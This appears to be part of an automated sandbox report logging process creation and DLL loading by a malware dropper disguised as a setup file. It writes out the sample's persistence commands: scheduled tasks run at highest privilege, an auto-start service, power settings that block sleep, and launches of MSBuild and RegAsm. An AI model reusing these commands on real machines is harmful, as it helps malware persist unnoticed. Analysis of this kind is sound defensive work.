Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP HR" /sc HOURLY /rl HIGHEST Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP LG" /sc ONLOGON /rl HIGHEST Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Process created: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp "C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp" /SL5="$70066,5141152,54272,C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe" Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Process created: C:\Users\user\AppData\Local\Temp\7zSAB2.tmp\Install.exe .\Install.exe Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "CIFUBVHI"
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "CIFUBVHI" binpath= "C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe" start= "auto"
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Process created: C:\Users\user\AppData\Local\Temp\7zSA35.tmp\Install.exe .\Install.exe
Source: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 424 -ip 424
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 424 -s 284
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSAB2.tmp\Install.exe Process created: C:\Users\user\AppData\Local\Temp\7zS188D.tmp\Install.exe .\Install.exe /bfYudidAVdU "385137" /S
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Process created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\mp3doctorfree32_64.exe "C:\Users\user\AppData\Local\MP3Doctor Free 2020\mp3doctorfree32_64.exe" -i
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSA35.tmp\Install.exe Process created: C:\Users\user\AppData\Local\Temp\7zS1BC9.tmp\Install.exe .\Install.exe /iwYBYdidlHmT "525403" /S
Source: C:\Users\user\AppData\Local\Temp\7zS188D.tmp\Install.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS188D.tmp\Install.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7zS1BC9.tmp\Install.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS1BC9.tmp\Install.exe Process created: unknown unknown
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: gpedit.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: activeds.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: dssec.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: dsuiext.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: authz.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: dsrole.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: logoncli.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: ntdsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: adsldpc.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncasvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: httpprxp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: firewallapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fhsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msidle.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fhcfg.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wevtapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: efsutil.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dsrole.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wpdbusenum.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: portabledeviceapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: devobj.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: portabledeviceconnectapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Section loaded: cscapi.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: mozglue.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: msvcp140.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: acgenral.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: msacm32.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: winmmbase.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: winmmbase.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: iertutil.dll Jump to behavior
